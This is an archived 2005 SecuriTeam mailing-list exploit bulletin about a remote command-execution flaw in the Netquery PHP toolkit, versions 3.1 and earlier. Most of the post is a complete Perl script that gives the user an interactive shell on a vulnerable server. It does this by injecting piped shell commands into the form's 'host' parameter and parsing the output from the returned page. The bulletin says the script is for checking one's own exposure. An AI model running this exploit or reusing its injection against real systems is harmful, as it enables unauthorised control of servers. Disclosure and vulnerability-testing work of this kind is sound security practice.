[EXPL] Netquery Command Execution (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/25/05

  • Next message: SecuriTeam: "[EXPL] Microsoft Color Management Buffer Overflow (MS05-036, Exploit)"
    To: list@securiteam.com
    Date: 25 Jul 2005 19:06:10 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Netquery Command Execution (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://virtech.org/tools/index.html> Netquery - the complete PHP/SQL
    open-source toolkit of network information utilities"

    A vulnerability discovered in Netquery allows remote attackers to cause
    the program to execute arbitrary code, the following exploit code can be
    used to determine whether your system is vulnerable or not.

    DETAILS

    Vulnerable Systems:
     * Netquery versions 3.1 and prior

    Exploit:
    #!/usr/bin/perl -w

    use strict;
    use LWP;

    my $browser = new LWP::UserAgent;
    $browser->agent("Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.0)");

    if (@ARGV < 1) {
            print "\nusage: ./nq.pl http://path/to/form\n\n";
            exit(1);
    }

    my $url = $ARGV[0];
    my $command;

    while (1) {
                    print "> ";
                    while(<STDIN>) {
                                    $command = $_;
                                    chomp($command);
                                    last;
                    }
                    &send($command);
    }

    sub send {
            my $ok = 0;
            my $output;
            my @d;
            my $response = $browser->post($url,
                                                                     [ 'op'
    => 'modload',
                                                                   'name' =>
    'Netquery',
                                                                       'file'
    => 'pnuser',
                                                                       
    'querytype' => 'ping',
                                                                   'host' =>
    '| echo _start_; ' . $command . '; echo _end_;',
                                                                   'maxp' =>
    '4',
                                                                 ]);

            die "$url could not be reached" unless $response->is_success;
            if ($response->content =~ /<blockquote>_start_(.*)/) {
                    $output = $1;
                    $output =~ s/<br \/>/ \n /g;
                    $output =~ s/<br>/ \n /g;
                    @d = split /_end_/, $output;
                    print "\n $d[0]\n";
            }
            elsif ($response->content =~ /_start_(.*)/) {
                    $output = $1;
                    $output =~ s/<br \/>/ \n /g;
                    $output =~ s/<br>/ \n /g;
                    @d = split /_end_/, $output;
                    print "\n $d[0]\n";
            }
            elsif ($response->content =~ /<blockquote>(.*)/) {
                    $output = $1;
                    $output =~ s/<br \/>/ \n /g;
                    $output =~ s/<br>/ \n /g;
                    @d = split /<\/blockquote>/, $output;
                    print "\n $d[0]\n";
            }
            else {
                    print "Not working for some reason\n";
            }
    }

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.milw0rm.com/id.php?id=1117>
    http://www.milw0rm.com/id.php?id=1117

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Microsoft Color Management Buffer Overflow (MS05-036, Exploit)"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)